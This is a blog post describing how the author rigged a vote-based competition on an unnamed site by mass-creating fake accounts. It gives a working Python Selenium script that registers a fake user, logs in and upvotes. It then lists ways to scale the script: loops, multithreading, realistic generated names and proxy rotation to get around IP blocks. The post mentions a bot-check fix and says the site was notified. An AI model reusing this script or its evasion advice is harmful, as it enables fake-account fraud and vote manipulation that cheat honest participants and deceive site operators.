The Bot to Add users
Published: 2021-06-03 18:36:43

Recently, a friend of mine had participated in a book review competition. It was one of those competitions where the results are decided by the no. of upvotes your posts can gather. So I was sent a link to that particular post for upvoting purposes. I opened the link and realized that one had to login first in order to proceed with the upvoting. Now when you're on a site which you're practically sure that you won't visit again, you tend to register yourself using fake credentials. So I just used a fake name, a fake email and a random password to create the account and upvote it. The site (not naming for obvious reasons), was verifying the users email only if the user wanted to use the site fully, which was not my purpose(Login.. Upvote.. Forget!) and they were not using any captcha or any means to check bot activity even at the registration stage! So I registered, logged in and upvoted the post. The whole thing seemed really straight-forward and easy. In fact a bit too straight for the twisted minds...
<br>
## The Exploit
I thought if I can register so easily, so can a python code!! So I wrote a code using the `selenium` module to simulate the registration procedure, the login and the upvote.

```
import time
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
options = webdriver.ChromeOptions()
options.add_argument('--disable-notifications')


def wait():
    time.sleep(2)
    try:
        driver.find_element_by_xpath("//button[@id = 'upvote']").click()
    except:
        wait()
    return


driver = webdriver.Chrome('chromedriver.exe', options=options)
driver.get(link_to_signup)
driver.find_element_by_id('name').send_keys("Random Name")
driver.find_element_by_id('email').send_keys("random@gmail.com")
driver.find_element_by_id('password').send_keys("Random@117")
driver.find_element_by_id('phone').send_keys("1234567890")
driver.find_element_by_xpath("//label[contains(text(),'male')]").click()
driver.find_element_by_xpath("//div[@class='react-datepicker-wrapper']").click()
driver.find_element_by_xpath("//select[@class='react-datepicker__month-select']/option[text()='May']").click()
driver.find_element_by_xpath("//select[@class='react-datepicker__year-select']/option[text()='2001']").click()
driver.find_element_by_xpath("//input[@id='terms']").click()
driver.find_element_by_xpath("//input[@id='terms']").click()
driver.find_element_by_xpath("//input[@class='submit']").click()
time.sleep(2)

driver.find_element_by_tag_name('body').send_keys(Keys.CONTROL + 't')
driver.get(link_to_login)
driver.find_element_by_id('email').send_keys("random@gmail.com")
driver.find_element_by_id('password').send_keys("Random@117")
driver.find_element_by_xpath("//input[@class='submit']").click()
time.sleep(2)

driver.find_element_by_tag_name('body').send_keys(Keys.CONTROL + 't')
driver.get(url_to_upvote)
time.sleep(1)
wait()
```

and there you go. Another upvote done!
<br>
## The attacker's perspective
- The main part of the code can be taken in a loop and multiple users can be added fast.
- The `requests` module can be used for higher speed and efficiency.
- A multi-threaded program can be written to perform additions of multiple users simultaneously.(You won't have to wait till one operation is fully over)
- Use of real names in order to make the usernames seem realistic.(There are APIs generating random names, or use the classic method - Baby names(Copy a list of baby names from any such site)!!)
- Rotation of proxies in order to make the requests look like they are coming from different machines and proceed even if a particular ip is blocked.
<br>

## Fixes
- They can perform a simple bot-check at the registration phase in order to prevent the registration of non-human users. No new users, no upvotes.
<br>
<br>

I reported the problem to the site and haven't received any response yet from their side. I hope they fix this vulnerability soon, if they don't want their systems swarming with fake users who registered for just one upvote.